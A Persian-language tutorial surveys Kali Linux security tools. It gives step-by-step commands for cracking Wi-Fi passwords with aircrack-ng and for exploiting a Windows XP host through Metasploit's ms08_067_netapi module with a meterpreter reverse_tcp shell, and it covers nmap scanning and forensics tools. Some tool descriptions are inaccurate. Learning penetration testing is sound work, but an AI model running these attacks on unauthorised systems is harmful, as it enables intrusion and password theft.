Fern یک ابزار بازرسی شبکه های بی سیم مبتنی بر GUI(در مقدمه شرح داده شده است) می باشد. این ابزار قابلیت رخنه و یا بازیابی رمز های WEP/WPA/WPS و همچنین انجام حملات مبتنی بر شبکه بر روی بی سیم و یا سخت افزار شبکه را دارد. این ابزار با زبان برنامه نویسی Pyton طراحی شده است. برای استفاده از Fern نیاز به چند برنامه جانبی همانند Aircrack, Python Scrapy,  Reaver  می باشید. لینوکس کالی این پیشناز ها را داشته و شما هیچگونه نگرانی نخواهید داشت. بعضی از امکانات Fern عبارتند از:

  • رخنه در WEB با استفاده از Fragmentation ، Chop-Chop, Caffe-Latte, Hirte, ARP .
  • رخنه در WPA/WPA2 با استفاده از حملات لغتنامه ای(Dictionary) و یا WPS-based .
  • استفاده از رمز های ذخیره شده در بانک های اطلاعتی که قبلا هک شده اند.
  • استفاده خودکار از حمله به Access Pointها.
  • ربودن Session(غیر فعال و مبتنی بر شبکه).
  • دسترسی به آدرس سخت افزاری Access Point برای پیدا کردن موقعیت مکانی.

برای دسترسی به این ابزار در کالی لینوکس به مسیر: Applications | Kali Linux | Wireless Attacks | Wireless tools | Fern WIFI Cracker. بروید.

پس از اینکه محیط گرافیک برنامه را مشاهده کردید از لیست اینترفیس مورد نظر را انتخاب کنید. پس از مدتی در صفحه شاهد لیست شدن Access Pointها به ترتیب متد کدگزاری آنها خواهید شد.

سپس شاهد تنظیمات جستجو خواهید شد. OK کرده تا عملیات آغاز شود. پس از مدتی، حملات آغاز شده و نفوذ های موفقیت آمیز توسط Fern به شما گزارش می شود.

 

ابزارهای Bluetooth:

لینوکس کالی، برای شبکه های مبتنی بر Bluetoothهم ابزار ها و راهکار هایی در نظر گرفته است.Bluetooth یکی از روش های عمومی در انتقال داده بین گوشی های تلفن همراه می باشد. از این رو برسی Bluetoothها برای مدیران شبکه مهم می باشد. حال با هم نگاهی به ابزار BlueRanger می اندازیم.

 

ابزار BlueRanger:

این ابزار با استفاده از یک اسکریپت ساده در محیط Bash و همچنین میزان آنتن دهی، دستگاه های Bluetooth را جستجو میکند. این ابزار با ارسال L2CAP(همانند دستور ping اما در Bluetooth) اقدام به ساخت یک ارتباط با دستگاهی که پاسخ L2CAP را بدون درخواست هر گونه شناسایی فرستاده است. این ابزار از مسیر Applications | Kali Linux | Wireless Attacks | Bluetooth tools | Blueranger. قابل دسترس می باشد.

به عنوان مثال، دستور زیر باعث می شود که دستگاه مربوط شروع به ping شبکه های در دسترس کرده و صفحه بعد از هر پینگ refresh می شود. این ابزار در نهایت گزارش دستگاه های نزدیک، شمارنده ping، تغییرات نزدیکی، محدوده و … به شما می دهد.

blueranger.sh hci0 6C:D4:8A:B0:20:AC

 

بهره برداری از Frameworkها و ابزارها:

از مهمترین اجزای هر تست نفوذی، می توان به غالب های بهره برداری(Exploitation frames) اشاره کرد. این نمونه ابزار ها به تست کنندگان این قدرت و توانایی را میدهد که ارزیابی های خود را به راحتی با یک framework مدیریت کنند. لینوکس کالی نیز از این frameworkها در خود استفاده کرده تا از استفاده بهینه آنها مطمئن شود. در این بخش سعی میکنیم که مهمترین این ابزارها را برسی کنیم.

 

Browser Exploitation Framework:

این ابزار که به اختصار BeEF هم گفته میشود، از محبوب ترین frameworkهای متن باز می باشد که به صورت تخصصی جهت برسی سایت های اینترنتی طراحی شده است. BeEF را از مسیر Applications | Kali Linux | Exploitation Tools | BeEF Exploitation Framework | BeEF اجرا کنید. این ابزار از طریق یک Browser در دسترس قرار میگیرد: http://127.0.0.1:3000/ui/panel/

درمرحله بعد از شما نام کاربری و کلمه رمز پرسیده می شود که هر دو “beef” می باشد. لازم به ذکر است که در سیستم های لینوکسی هم کاربر و هم رمز به بزرگی و کوچک نوشتن حساس می باشند. در نسخه های اولیه کالی، ابزار BeEF نصب نشده که می توانید به دستور های زیر آخرین ورژن آن را دریافت و نصب کنید:

apt-get update

apt-get install beef-xss

پس از اتمام نصب، با دستورات زیر، به محل نصب رفته و برنامه را اجرا کنید:

cd /usr/share/beef-xss

./beef

پس از بارگزاری صفحه خوش آمد گویی با کلیک بر روی لینک demo می توانید به صفحه آموزشی get-start دسترسی پیدا کنید.

در پنل سمت چپ به شما امکاناتی که قابل استفاده می باشند را نشان میدهد. همانطوری که در تصویر دقت کردید، در Browser دو صفحه باز شده است. بیایید نگاهی به آنها بیاندازیم:

  • Getting Started: در این صفحه اطلاعاتی برای آغاز استفاده و شروع به کار این ابزار نوشته شده است.
  • Logs: عملیات های Browser های دیگر را نمایش میدهد.
  • Current Browser : برگه اصلی که به دنبالش هستیم همین برگه می باشد. در این برگه اطلاعات Browser در حال کار را به ما نمایش میدهد. این برگه خود شامل شش برگه مختلف هست که هر یک عملکرد های مختلفی را دارند.

 

 

 

این ریز فصل های عبارتند از:

 

  • Details : توضیحات کامل درباره هر آنچه که در صفحه می باشد اعم از pluginها، صفحات نشان گزاری شده و غیره.
  • Logs: گزارش هر آنچه که در Browser می باشد.
  • Commands: در این بخش ماژول های متفاوتی که قابل اجرا در Brower می باشند، نشان داده می شود.
  • Rider: به ما امکان میدهد تا در خواست های خودسرانه از سمت HTTP به جای صفحات نشان دار، ثبت کنیم.
  • XssRay: در این صفحه هر آنچه که از حملات Xss بر روی صفحات نشاندار (Hooked Page) رخ داده را نشان میدهد.

 

نگاهی مختصر و کوتاه داشتیم به ابزار BeEF. شما می توانید با اجرای این برنامه برای تست برنامه های مبتنی بر وب خود و یا اضافه کردن موارد دیگر، دانش خود را بیشتر کنید.

 

ابزار مهندسی شبکه های اجتماعی:

SET یا همان Social Engineer Toolkit از پر استفاده ترین ابزار های Command-Line که سناریوهای مختلف حمله به کاربرهای خواص را انجام میدهد. سناریو های ساخته شده بر اساس گزینه های منتخب که به حمله کنندگان اجازه میدهد تا با قدرت بیشتری حمله کنند. موفقیت یک نفوذ کاملا به عنصر انسانی وابسته می باشد و از همین روی به ابزار مهندس شبکه اجتماعی نامگزاری شده است. برای دسترسی به این ابزار از مسیر: Applications | Kali Linux | Exploitation tools | Social Engineering Toolkit | se-toolkit. اقدام می کنیم.

شما می توانید متد حمله ای خود را از منوی انتخابی، انتخاب کنید. بیایید به عنوان مثال، مورد شماره یک را امنتخاب کنیم. در اینجا می توان چندین گزینه مختلف برای حمله انتخاب کنید. ما Spear-Phishing Attack Vectors را انتخاب کرده و سپس Create Social Engineering Template  انتخاب میکنیم.  این گزینه به شما اجازه خواهد داد تا الگوی SET خود را جهت حمله بسازید.

 

علاوه بر آن شما می توانید حملاتی را بر پایه نفوذ از طریق وب سایت، Java Applet و موارد مشابه نیز برنامه ریزی کنید. SET یک ابزار کارآمد و همچنین ساده است که گزینه های مختلفی برای تست نفوذ فراهم میکند. SET همچنین قابلیت Metasploit Framework برای ساخت payloads, meterpreter connections, shells و … را دارد.

 

کار با ابزارهای Forensics:

لینوکس کالی، از مجموعه تقریبا کاملی از ابزار های forensics جهت برسی سیستم های آلوده برخوردار است. این ابزار ها به علم پزشکی قانونی کامپیوتر نیز لقب گرفته است. به طور کلی این ابزار به جرم شناسی بعد از وقوع حملات هکری می پردازد. Forensics نقشی متفاوت در مقایسه با آزمایش های تست نفوذ دارد. در Forensics ما به تجزیه و تحلیل و آسیب شناسی دلایل یک حمله و نفوذ موفق می پردازیم در حالی که در تست های نفوذ(penetration test) ما به برسی راههای نفوذ و در حقیقت پیشگیری از نفوذ خواهیم پرداخت. حال بیایید به برخی از ابزار های موجود forensics در لینوکس کالی نگاهی بیاندازیم.

 

Autopsy Forensic Browser:

یکی از کاربردیترین ابزاری های مجموعه forensics، Autopsy می باشد. این برنامه به وسیله یک محیط گرافیکی گزارشی از رخداد های اتفاق افتاده بر روی سیستم در یک بازه زمانی را به شما ارائه میکند. این کار باعث می شود که ارتباط یک حادثه با سایر رخداد ها راحت تر باشد. این ابزار، یک ابزار سریع و قوی برای برسی رفتار های تخریب کننده در سیستم می باشد. برخی از قابلیت های این برنامه عبارتند از:

  • برسی زمانبندی شده
  • برسی فایل های سیستمی
  • تحلیل تاریخچه، Cookieها و Bookmarkهای Browser
  • پالایش hash

این برنامه در مسیر Applications | Kali Linux | Forensics | Digital Forensics | Autopsy. در دسترس می باشد. برای دسترسی به محیط گرافیک این برنامه می توان در Browser آدرس localhost:9999/autopsy/ را وارد کرد.

 

بعد از مشاهده محیط گرافیک برنامه در Browser، می توانید با کلیک بر روی New Case یک مورد جدید بسازید همانند تصویر زیر:

قسمت های اصلی همچون اسم Case و  توضیحات(Description) و اسمی دلخواه به عنوان محقق(Investigator Names). در آخر شما باید مسیری از فایل یک سیستم به صورت Image و یا پارتیسن داده شود. حال شما آماده تحقیق بر روی هدف خود هستید.

اغلب خصوصیات در زیر تصویر محقق در سمت چپ لیست شده اند. بعد از اتمام عملیات، نتیاج به صورت فهرست به شما نشان داده می شود. Autopsy یک ابزار بسیار کاربردی و راحت در نوع خود می باشد.

ابزار The Sleuth Kit:

مجموعه ای از توابع کتابخانه ای که برای تحقیق و تفحص بر روی فایل image تهیه شده از روی یک دیسک یا پارتیشن به کار می رود. این برنامه قابل استفاده همراه با ابزار های دیگر نیز قابل ترکیب می باشد. Autopsy نسخه گرافیکی از همین مجموعه می باشد. بعضی از برنامه های مهم این مجموعه عبارتند از:

  • icat: این ابزار فهرستی از فایل های موجود در فایل image را نشان میدهد.
  • blkls: ابزاری برای استخراج فضاهای خالی روی دیسک.
  • fsstat: ابزاری برای گردآوری قطعات نا مرتب.
  • fls: این ابزار برای حذف فایل از روی image تهیه شده استفاده می شود.

در این مجموعه، ابزار کاربردی فراهم شده که به شما در روند تحقیق و برسی یک سیستم کمک میکند. ما در اینجا به مروری مختصر بر این ابزار اکتفا کردیم.

لینوکس کالی شامل مجموعهای بالغ بر 300 ابزار گوناگون جهت برسی تست نفوذ می باشد. برسی همه آنها در یک مجموعه امکان پذیر نمی باشد اما سعی شد در این نوشتار به مهمترین آنها مروری انداخته باشیم.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

پنچ قابلیتی که در لینوکس کالی باید بشناید:

وقتی کار با کالی را شروع کردید، متوجه قابلیت هایی خواهید شد که در آن وجود دارد. در این بخش بیشتر به این ویژگی ها خواهیم پرداخت.

 

جمع آوری اطلاعات با ابزار nmap:

جمع آوری اطلاعات اولین مرحله از آغاز به تست نفوذ می باشد. در این مرحله ما سعی میکنیم تا اطلاعاتی در مورد هدف خود گردآوری کنیم. ابزار nmap یکی از بهترین ابزار ها جهت جستجو و گردآوری اطلاعات می باشد. برای دسترسی به nmap کافیست کنسول کالی را باز کرده و دستور nmap را وارد کنید.  با این کار شما لیستی از پارامتر ها و محدوده ای که برای شما فراهم شده است نشان داده می شود. با هم چند مثال را مرور میکنیم:

برای اسکن یک IP از دستور زیر استفاده میکنیم:

nmap 192.168.56.1

خروجی دستور زیر مطابق شکل زیر می باشد:

برای جستجوی یک محدوده از IPها مطابق دستور زیر میتوان عمل کرد:

nmap 192.168.56.1-255

برای اسکن یک پورت خاص روی یک IP می توان از دستور زیر الگو برداری کرد:

nmap 192.168.56.1 –p 80

برای اسکن رنجی از پورت ها بر روی محدوده ای از IPها، دستور زیر نمونه مناسبی می باشد:

nmap 192.168.56.0/24 –p 1-1000

 

در صورتیکه که قصد داشته باشید یک یا چند IP را از دایره جستجو خارج کنید مطابق مثال های زیر عمل کنید:

nmap 192.168.56.0/24 –exclude 192.168.1.5

nmap 192.168.56.0/24 –exclude 192.168.1.5,192.168.1.254

 

جستجوی سریع نیز مطابق دستور زیر امکان پذیر است:

nmap -F 192.168.56.1

اگر به دنبال نام سیستم عامل و یا نسخه آن هستید دو دستور زیر میتواند شما را همراهی کنند:

nmap -A 192.168.56.1

nmap -v -A 192.168.56.1

درصورتیکه قصد دارید بدانید آیا فایروال شبکه در جای خود مستقر هست، دستور زیر را وارد کنید:

nmap -sA 192.168.1.254

nmap دارای پارامتر های ویژه ای برای جستجو بر روی فایروال ها می باشد، همانند دستور زیر:

nmap -PN 192.168.1.1

برای مشاهده کلیه Packetها ارسالی و دریافتی بر روی یک IP دستور زیر را وارد کنید:

nmap –packet-trace 192.168.1.1

برای تشخیص سرویس های اجرا شده روی یک مقصد مخصوص از دستور زیر پیروی کنید:

nmap –sV 192.168.56.1

جهت اسکن مقصد خواص با استفاده از TCP ACK(PA) و TCP SYN(PS) مطابق دستورات زیر عمل کنید:

nmap –PA 192.168.56.1

nmap –PS 192.168.56.1

اگر قصد اجرای یک جستجوی مخفیانه را دارید باید از متد جستجوی TCP SYN استفاده کنید، همانند دستور زیر:

nmap –sS 192.168.56.1

درصورتیکه میخواهید سرویس های TCP اجرا شده بر روی یک مقصد را کشف کنید، دستور زیر اینکار را انجام میدهد:

nmap –sT 192.168.56.1

و برای جستجوی UDP دستور:

nmap –sU 192.168.56.1

و برای اینکه خروجی شما در یک فایل TEXT ذخیره شود، مطابق دستور زیر عمل کنید:

nmap –sU 192.168.56.1 > scan.txt

اینها مختصری از دستورات و فرامینی بود که توسط nmap قابل اجرا بوده و همچنین می توان به گردآوری اطلاعات حول یک مقصد خواص به شما کمک کند.

 

نفوذ به پسورد دستگاه های wireless با کمک Aircrack:

در این قسمت قصد داریم به نحوه نفوذ به پسورد های wireless توسط لینوکس کالی بپردازیم. ما پیشتر به این موضوع در مبحث Fern WIFI cracker پرداخته بودیم. در آنجا ذکر شد که این یک دستور خودکار جهت به دست آوردن پسورد های wireless می باشد و که این یک محدودیت می باشد. در این بخش ما نحوه به دست آوردن پسورد دستگاه های wifi به صورت دستی می پردازیم. قبل از اینکه شروع کنیم باید از قابلیت تزریق Packet کارت شبکه خود مطمئن شویم. بدین منظور می توانید از جستجوی Google استفاده کنید. با جستجوی مارک و مدل کارت شبکه خود در Google، می توانید از پشتیبانی و یا عدم پشتیبانی آن مطلع شوید. اغلب کارت شبکه های usb این قابلیت را پشتیبانی می کنند.

مراحل زیر را دنبال کنید تاپسورد wifi را به دست آورید:

  1. شناسایی شبکه wireless

با دستور iwconfig اقدام به شناسایی کارت شبکه wireless خود میکنیم.

لیستی از کارت های wireless باید نمایش داده شود که به طور پیش فرض اولین آن با نام wlan0 خواهد بود. درصورتیکه که wireless شما (فعال)Enable نمی باشد، از دستور زیر استفاده کنید:

Ifconfig wlan0 up

 

  1. شروع Scan:

برای جستجو به دنبال شبکه های wireless فعال و در دسترس، دستور زیر را وارد کرده و خروجی آن را بررسی کنید:

iwlist wlan0 scan

خروجی این دستور شامل لیستی از wifi های در دسترس به همراه ESSID، MAC ADDRESS و وضعیت ENCRYPTION KEY آنها می باشد.

حال شما می توانید هدف خود را مشخص کرده و اطلاعات آن شامل Chanel number و MAC Address را بردارید که در مراحل بعد به کار می آیند.

  1. تنظیمات Monitoring Mode:

در این بخش قصد داریم که کارت شبکه خود را جهت Monitoring تنظیم کنیم. بدین منظور باید کارت شبکه جهت برسی تمامی اطلاعات موجود در فضا آماده شود. برای اینکار از airmon-ng استفاده میکنیم. airmon-ng ابزاری به صورت command می باشد که این قابلیت را فراهمی میکند. در زیر نمونه ای به شما نشان داده می شود:

airmon-ng start wlan0

برای اطلاع از صحت اینکه کارت شبکه به مد Monitoring رفته یا خیر از دستور  ifconfig استفاده میکنیم. با وارد کردن این دستور باید یک Interface جدید به اسم mon0 را مشاهده کنید. این همان Interface جدید برای Monitoring می باشد.

  1. ضبط بسته ها(Capturing packets )

بسیار خوب، زمان آن رسیده است که اطلاعاتی که در فضا و مرتبط به شبکه هدف ما می باشند را شنود کنیم. برای این کار، از دستور airodump-ng همانند مثال زیر استفاده میکنیم:

airodump-ng -c (channel) -w (file name) -–bssid (bssid) mon0

این ابزار در مدت چند دقیقه می تواند چیزی بالغ بر 10000 Packet را جمع آوری کند.

  1. شکستن کلمه رمز:

قبل از اینکه بخش جمع آوری Packet ها را ببندیم این نکته را در نظر بگیرید که در root Directory شما تعدادی فایل ساخته می شوند. فایل های مهمی که پسوند *.cap دارند(crack-01. cap) و این فایل در زمان شکستن پسورد به کار می آیند. خوب حالا ما از دستور aircrack-ng در همین پوشه استفاده میکنیم تا پروسه شکستن پسورد آغاز شود. dark0de.lst یکی از متداول ترین لغتنامه هایست که می توانید از نشانی: http://www.filecrop.com/darkc0de.lst.html. دریافت کنید. پس از اتمام دریافت لغتنامه، مطابق دستور زیر می توانید شروع کنید:

aircrack-ng crack-01.cap –w dark0de.lst

پس از لحظاتی، اگر تطابقی با لغتنامه یافت شد، در صفحه terminal نمایش داده می شود. موفقیت یک حمله و کشف پسورد به طول پسورد و همچنین مطابقت آن با لغتنامه (قدرت پسورد) بستگی دارد. همیشه توصیه میشود که فایل های ذخیره شده را نگهداری کنید.

 

تست نفوذ برنامه های مبتنی بر web با burp suit:

یکی دیگر از ابزار های پر استفاده در دنیای تست نفوذ web applicationها ابزار burp suit می باشد. این ابزار به صورت رایگان و همچنین تجاری با تفاوت هایی در ویژگی ها ارائه می شود. لینوکس کالی با نسخه رایگان این ابزار تجهیز شده است. دسترسی به آن از طریق: Applications | Kali Linux | Web Applications | Web Application Fuzzers | Burp Suite. می باشد. بعضی از قابلیت های کلیدی این ابزار عبارتند از:

  • یک proxy که درخواست های متفاوت را تجزی تحلیل میکند و پاسخ را از طریق مرورگر ارجاع میدهد.
  • یک برنامه کاربردی جهت واکاوی محتویات برنامه ها.
  • برنامه مبتنی بر web که نقاط ضعف و آسیب پذیر را جستجو میکند.
  • ساخت و حفظ محیط کاری
  • قابلیت گسترش با نصب افزونه.

burp suit قابلیت ادغام با ابزار های دیگر و کار کردن تحت یک مجموعه متحد را نیز دارد. حال چند قابلیت کلیدی از burp suit را مشاهده کنیم:

  • burp proxy:

burp proxy یک آشکار ساز درخواست های Proxy است، یعنی کلیه درخواستی هایی که از طریق Proxy یک مرورگر ارسال یا دریافت می شود را، خوانده و آشکار میکند. این قابلیت از استراتژی حملات man-in-the-middle بهره می برد. این استراتژی، همانطور که از نام آن مشخص است، به این مفهموم است که ابزار نفوذ در سر راه ارتباط قرار می گیرد. برای آغاز به کار با این ابزار، باید تنظیمات Proxy مرورگر خود را به نحوی تغییر دهیم که ترافیک Proxy را دور بزند. این تغییرات به این شکل می باشد که Proxy را به IP: 127.0.0.1 و Port: 8000 تغییر میدهیم:

 

با انجام این تغییرات، مرورگر تمامی درخواست های HTTP را به ابزار burp proxy ارسال میکند. در برگه History می توانید جدولی از این درخواست ها را مشاهده کنید.

برای تغییر در قابلیت ها و خصوصیات proxy می توان به برگه Option مراجعه کرد و تغییرات دلخواه را صورت داد.

حال بیایید با کارکرد ابزار burp spider را فرابگیریم.

  • Burp Spider:

این ابزار یک برنامه خزیدنی است، بدین منظور که تمامی سایت هایی که به یک سایت مشخص ارتباط دارند و Link شده اند را پیدا میکند. بدینصورت که همانند خزیدن، از صفحه اولیه یا Home Page شروع میکند و تمامی Hyperlinkهای موجود را شناسایی میکند. در نهایت، یک درختواره به شما نشان داده می شود. این ابزار از طریقه برگه Option قابل تنظیم می باشد. به عنوان مثال می توانید عمق جستجو را مشخص کنید، برنامه هایی که بر روی سایت Login می کنند و بسیاری موارد دیگر.

  • Burp Intruder:

این ابزار قدرتمند یک برنامه قابل تنظیم جهت حمله به برنامه های تحت وب می باشد.  این ابزار به کاربر این قابلیت را میدهد که یک حمله برداری و خودکار را صورت دهد. Burp Intruder چهر برگه مهم شامل: Target, Positions, Payloads و Option دارد.

برگه Target مقصد و هدف را مشخص کرد. در تصویر بالا هدف، کامپیوتر میزبان همین برنامه می باشد(نشانی 127.0.0.1 آدرس IP Loopback هر کارت شبکه ای می باشد).

برگه Positions محلی را که ساختار حمله شما در آنجا اعمال می شود را مشخص میکند. ممکن است این یک درخواست از طرف فورم یا پارامتر یا چیز دیگری باشد. در اینجا متدهای مختلفی از قبیل sniper ، battering ram، pitchfork و cluster bomb می باشد.

برگهPayloads  برای تنظیم بردار حملاتی که بایست در موقعیت های منتخب مورد استفاده قرارگیرند، استفاده می شوند. برای مثال، در حملات SQL injection، می تواند بر روی فرم Login نشسته و شروع به تزریق رشته ها نماید.

برگه Options برای اعمال بعضی تغییرات در تنظیمات می باشد. به عنوان نمونه تعداد threadها، سعی مجددها و ذخیره کردن نتایج.

این یک آموزش مختصری بود در مورد تعدادی از قابلیت های ابتدایی Burp Suit. برای درک بیشتر اهمیت این ابزار، به شدت توصیه می شود که از آن در برابر هر برنامه تحت وبی که می شناسید استفاده کنید تا بیشتر آنرا درک کنید.

 

Metasploit Exploitation Framework:

یک ابزار رایگان و منبع آزاد برای تست نفوذ که توسط H.D. Moore در سال 2003 شروع شد و بعدها Rapid7 آن را به دست گرفت. نسخه مطمئنی که در حال حاظر ارائه شده است، توسط زبان برنامه نویسه Ruby نوشته شده است. این برنامه دارای بزرگترین بانک اطلاعاتی دنیا که مورد آزمایش قرار گرفته است، می باشد و هر ساله میلیون بار توسط کاربران دانلود می شود. این ابزار یکی از بزرگترین پروژه های ساخته شده توسط Ruby تاکنون می باشد. این ابزار در دو نسخه رایگان و تجاری ارائه می شود.

Metasploit یک ساختار مبتنی بر ماژول ها دارد و این ماژول ها و Scriptها هستند که با این ابزار همخوانی پیدا کرده اند. این سبب شده است که به راحتی بتوان یک ماژول جدید را تغییر داد و با ابزار فوق کاربردی نمود.

قابلیت های Metasploit:

در زیر به برخی از قابلیت های این ابزار می پردازیم:

  • مبتنی بر Framework: این ابزار حاوی یک پایگاه جامع بوده که آن در هنگام تست نفوذ مورد استفاده قرار میگیرد. بعضی از اینها شامل، ثبت رخدادها، تنظیمات، فضای ذخیره سازی بانک اطلاعاتی، اسکریپت Meterpreter، و چیز های دیگر می شود.
  • ماژول های Auxiliary: یکی از مهم ترین قابلیت های Metasploit می باشد. ماژول های Auxiliary ماژول هایی با کارکرد های خواص هستند که قابلیت استفاده از آنها قبل و بعد از یک عمل را دارد. بعضی از این کاربرد های مهم عبارتند از جستجو کردن، جمع آوری اطلاعات، انجام یک حمله مشخص، تشخیص سیستم عامل، تشخیص سرویس و بسیاری دیگر می باشد.
  • Packaged Tools: Metasploit همراه با چند ابزار دیگر که باعث می شود تجربه تست نفوذ افزایش پیدا کند ارائه می شود. این بسته های افزودنی(Add-on) می توانند با استفاده از الگوریتم های متفاوت Standalone payload، Encrypt payload، ارتباط پایگاه های داده، اینترفیس گرافیکی و چیز های دیگری بسازند.
  • Third-party plugin: ابزار Metaploit می تواند با چندین پلاگین خارجی ادغام شده و از نتیجه آن جهت ایجاد ساختار تهاجم خود استفاده کند. نتایجی که از ابزار های مختلفی همچون Nmap، Nessus و Nexposeکه میتوانند به طور مستقیم در این ابزار استفاده شوند.
  • متن باز(Open Source): نسخه رایگان Metaploit یک برنامه متن باز می باشد بنابراین، کاملا می توان آن را بر اساس نیاز های خود تغییر داد.

ابزار Metapolit از مسیر: Applications | Kali Linux | Top 10 security tools | Metasploit Framework. قابل دسترسی می باشد. اولین بار که کنسول آن اجرا شد، شما با خط اعلان msf> مواجه می شوید. این اعلان، نشان دهنده آمادگی سیستم جهت دریافت دستورات شما می باشد. برای شروع تست نفوذ با این ابزار، ما نیاز به یک سیستم هدف خواهیم داشت. برای مثال بیایید یک جستجوی Nmap بر روی یکی از سیستم های در دسترس شبکه خود که روشن می باشد، انجام دهیم. مطابق دستورات زیر:

msf > nmap 192.168.56.1/24

مطابق با چیزی که در تصویر فوق مشاهده میکنید، Nmap چهار سیستم هدف را شناسایی کرده است. ما سیستمی که دارای ویندوز XP و با IP: 192.168.56.102 می باشد را انتخاب میکنیم. اکنون Nmap دریافته که سیستم هدف ما از سیستم عامل ویندوز XP استفاده میکند. هدف بعدی شناسایی یک راه برای نفوذ می باشد. خوشبختانه ما تعدادی راه نفوذ داریم. بیایید با استفاده از حفره netapi و منابع Metasploit شروع به اسکن کنیم.

msf > search netapi

حال بیایید ماژول ms08_067_netapi که رتبه بزرگی دارد را جهت نفوذ انتخاب کنیم. برای فعال کردن این ماژول دستور زیر را وارد میکنید:

msf > use exploit/windows/smb/ms08_067_netapi

اکنون نشانگر کنسول به نام ماژول مورد استفاده تغییر میکند. این نشان دهنده آن است که ماژول مورد نظر فعال شده است. زمان آن فرا رسیده که پارامتر های مورد نظر را به ماژول ارسال کنیم. دستور show به ما پارامتر های مورد نیاز را نمایش میدهد. در اینجا ما از RHOST استفاده میکنیم. RHOST برای شناساندن هدف به عنوان میزبان خارجی استفاده می شود.

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

پس از اینکه هدف به عنوان میزبان تعریف شد، بایست PAYLOAD  را مشخص کنیم. در اینجا ما از METERPRETER PAYLOAD استفاده میکنیم:

msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp

پس از آن باید پارامتر های آن را مشخص کنیم. در اینجا هم با دستور show می توانیم پارامتر های آنرا ببینیم. با کمک LHOST به معرفی مشخصات سیستم حمله کننده می پردازیم. بعد از انجام مراحل فوق، زمان بهره برداری می رسد. با فرمان exploit ماژول فوق را به کامپیوتر هدف ارسال میکنیم.

در صورتیکه انجام این حمله موفقیت آمیز باشد، پرامت خط فرمان در صفحه کنسول به meterpreter تغییر خواهد کرد و این نشان دهنده آن است که payload ما با موفقیت بر روی سیستم هدف اجرا شده است و اکنون می توانیم سیستم هدف را کنترل کنیم. به این نکته باید توجه کنید که Metasploit به سادگی می تواند کنترل سیستم هدف را با استفاده از ماژول exploit برعهده گیرد. Metasploit یک ابزار بسیار قدرتمند جهت تست نفوذ بر روی یک سیستم هدف می باشد. این نوشته یک آموزش و تمرین پایه ای برای Metasploit بود.

خوب اکنون بیایید به بخش بعدی برویم. جایی که به بحث پیرامون سایر ابزار های موجود در کالی خواهیم پرداخت.

 

 

تحقیق و تفحص در شبکه با استفاده از لینوکس کالی

جستجو در یک شبکه شامل برسی، گزارش و بازیابی اطلاعات از یک کامپیوتر و یا هر دستگاه دیجیتالی مرتبط با شبکه می شود. این برسی شامل جزئیات تحقیق از رخداد ها در طول گردآوری اطلاعات مربوطه می شود. کالی، به همراه مجموعه عریضی از ابزار های است که به این تحلیل و بررسی کمک میکنند عرضه می شود. این تحقیقات ها معمولا شامل بررسی جنبه های مختلف با ابزار های متفاوت می باشد. برخلاف کاربرد framework ها، جستجو ها معمولا به چند ابزار وابسته هستند. در زیر به آشنایی با چند ابزار مهم و کلیدی می پردازیم.

بررسی شبکه با ابزار Wireshark:

این ابزار، یک برنامه متن جهت برسی بسته ها، مشابه tcpdump می باشد که اقدام به ضبط packetهای موجود در شبکه و قرار دادن آن در جداول قابل فهم میکند. Wireshark را می توان به یک ابزار همه کاره (Swiss army) تشبیه کرد که در موقعیت هایی همانند عیب یابی شبکه، عملیات های امنیتی، و آموزش قوانین داخلی کاربرد دارد. و این یک ابزار با همه کاربرد های گفته شده است و البته آسان.  برخی از مزایای کارکردن با Wireshark از قرار زیر است:

  • پشتیبانی از چند پروتکل
  • صفحه مدیریت کاربر پسند
  • برسی زنده ترافیک شبکه
  • متن باز بودن

برای آغاز کار با این ابزارمسیر زیر را پیگیری کنید:

Applications | Kali Linux | Top 10 security tools | Wireshark.

ابتدا صفحه گرافیکی بارگزاری شده و شما می توانید شبکه مورد نظر خود را انتخاب کنید. در پنل سمت چپ می توان به شبکه های فعال دیگر نیز دسترسی داشت. بعد از انتخاب شبکه دکمه Start را می زنیم تا پروسه شروع شود. باید دقت داشته باشید که صفحه گرافیکی با نمایش Packetها دریافتی از شبکه منتخب شما بالا خواهد آمد.

با مشاهده صفحه گرافیکی، خواهید دید که این صفحه به سه بخش مجزا تقسیم شده است. در قسمت Capture می توانید Packet های دریافتی را به صورت ببینید. در پنجره Packet details اطلاعاتی پیرامون Packetهای دریافتی نمایش داده می شود و همچنین در پنجره Packet byte اطلاعات نشان داده شده در Packet details را به صورت اصلی و واقعی نمایش می دهد. این صفحه یک روالی از جریان بایت ها را نشان میدهد. شما می توانید یک عمل دیگر را از قسمت Menu جهت بهبود خروجی خود انتخاب کنید.

جستجو و بررسی Rootkit با ابزار chkrootkit:

Rootkitها ابزار های مخربی هستند که برای مخفی کردن فعالیت پردازنده های مخرب طراحی شده و به آنها امکان ادامه فعالیت می دهد. این ابزار اغلب به صورت کنترل از راه دور می باشد. لینوکس کالی، یک ابزار مخصوص جهت کشف این برنامه های مخرب به نام chkrootkit دارد. این ابزار از مسیر Kali Linux | Forensics | Digital anti-forensics | chkrootkit. قابل دسترسی هست. پس از اجرای این ابزار، یک صفحه ترمینال باز می شود. مسیر دایرکتوری را به: /usr/sbin/ تغییر داده و سپس chkrootkit را اجرا کنید.

پس از اجرای chkrootkit، این ابزار شروع به جستجو جهت هر گونه فعالیت مخربی خواهد کرد. این یک ابزار کاربردی همراه با شناسایی سریع هر برنامه مخرب نصب شده می باشد.

برسی فایل با استفاده از md5deep:

md5deep یک ابزار متن باز می باشد که جهت محاسبه hashها و یا پیام هشدار به هر تعداد فایل می باشد. همچنین می تواند از طریق ساختار دایرکتوری به امضا هرگونه فایلی در آن دست پیدا کند. ساختن یک امضاء MD5 برای فایل ها، به کشف هر گونه تغییری درون ساختار آن دایرکتوری کمک می کند. MD5 فایل اصلی با MD5 فایل تغییر یافته مقایسه می شود و در صورت کشف هرگونه ناهماهنگی به این نتیجه می رسد که فایل تغییر یافته است. برای استفاده از این ابزار ساده از آدرس: Applications | Kali Linux | Forensics | Forensic Hashing Tools | md5deep به آن دسترسی خواهید داشت.

برای ساخت امضای یک فایل برای یک دایرکتوری، از دستور زیر تبعیت کنید:

md5deep –r /darklord > darklordmd5.sum

برای تطبیق درستی یک فایل از دستور زیر می توانید بهره ببرید:

md5deep –rx darklordmd5.sum

در این راه، می توانیم صحت یک فایل تغییر یافته را بررسی کنیم تا بفهمیم تغییرات در آن اعمال شده یا خیر.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

